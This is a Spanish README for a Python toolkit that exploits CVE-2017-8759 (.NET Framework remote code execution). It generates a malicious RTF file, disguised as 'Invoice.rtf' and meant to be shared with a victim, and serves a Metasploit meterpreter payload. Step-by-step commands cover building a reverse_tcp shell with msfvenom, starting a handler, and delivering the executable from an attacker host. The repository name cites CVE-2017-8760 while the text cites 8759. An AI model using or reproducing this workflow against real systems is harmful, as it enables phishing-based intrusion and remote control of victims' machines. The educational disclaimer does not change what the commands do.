voraka/cve-2017-8760Script de Python para generar archivos RTF maliciosos que explota CVE-2017-8759 (Microsoft .NET Framework RCE) y entregar cargas útiles de Metasploit/meterpreter para pruebas de penetración.
El kit de explotación CVE-2017-8759 - v1.0 es un práctico script de Python que proporciona a pentesters e investigadores de seguridad una forma rápida y efectiva de probar el RCE de Microsoft .NET Framework. Puede generar un archivo RTF malicioso y entregar un payload de metasploit / meterpreter / otro a la víctima sin ninguna configuración compleja.
Este programa es solo con fines educativos. No lo uses sin permiso. Se aplica el descargo de responsabilidad habitual, especialmente el hecho de que yo (bhdresh) no soy responsable de ningún daño causado por el uso directo o indirecto de la información o funcionalidad proporcionada por estos programas. El autor o cualquier proveedor de Internet NO asume responsabilidad por el contenido o mal uso de estos programas o cualquier derivado de los mismos. Al usar este programa, aceptas que cualquier daño (pérdida de datos, caída del sistema, compromiso del sistema, etc.) causado por el uso de estos programas no es responsabilidad de bhdresh.
Finalmente, esto es un desarrollo personal, ¡respeta su filosofía y no lo uses para cosas malas!
Licencia CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
Se introdujeron las siguientes capacidades al script
- Generar archivo RTF malicioso
- Modo de explotación para el archivo RTF generado
Versión: Python versión 2.7.13
1) Generar archivo RTF malicioso
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Opcional, si se usa payload MSF): Generar payload de metasploit e iniciar handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Iniciar toolkit en modo explotación para entregar payload local
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-8759_toolkit.py -h
Este es un práctico toolkit para explotar CVE-2017-8759 (RCE de Microsoft .NET Framework)
Modos:
-M gen Generar solo archivo malicioso
Generar archivo RTF malicioso:
-w <NombreArchivo.rtf> Nombre del archivo RTF malicioso (Comparte este archivo con la víctima).
-u <http://atacante.com/test.txt> Ruta del archivo txt remoto. Normalmente, esto debería ser un dominio o IP donde esta herramienta se esté ejecutando.
Por ejemplo, http://ipdelatacante.com/test.txt (Esta URL se incluirá en el archivo RTF malicioso y será solicitada una vez que la víctima abra el archivo RTF malicioso.
-M exp Iniciar modo de explotación
Explotación:
-p <Puerto TCP: Por defecto 80> Número de puerto local.
-e <http://atacante.com/shell.exe> La ruta de un archivo ejecutable / shell meterpreter / payload que debe ejecutarse en el objetivo.
-l </tmp/shell.exe> Especifica la ruta local de un archivo ejecutable / shell meterpreter / payload.
@bhdresh
@Voulnet, @vysec, @bhdresh
Obviamente, no soy un desarrollador a tiempo completo, así que espera algunos contratiempos
Por favor, reporta errores y problemas a través de https://github.com/bhdresh/CVE-2017-8759/issues/new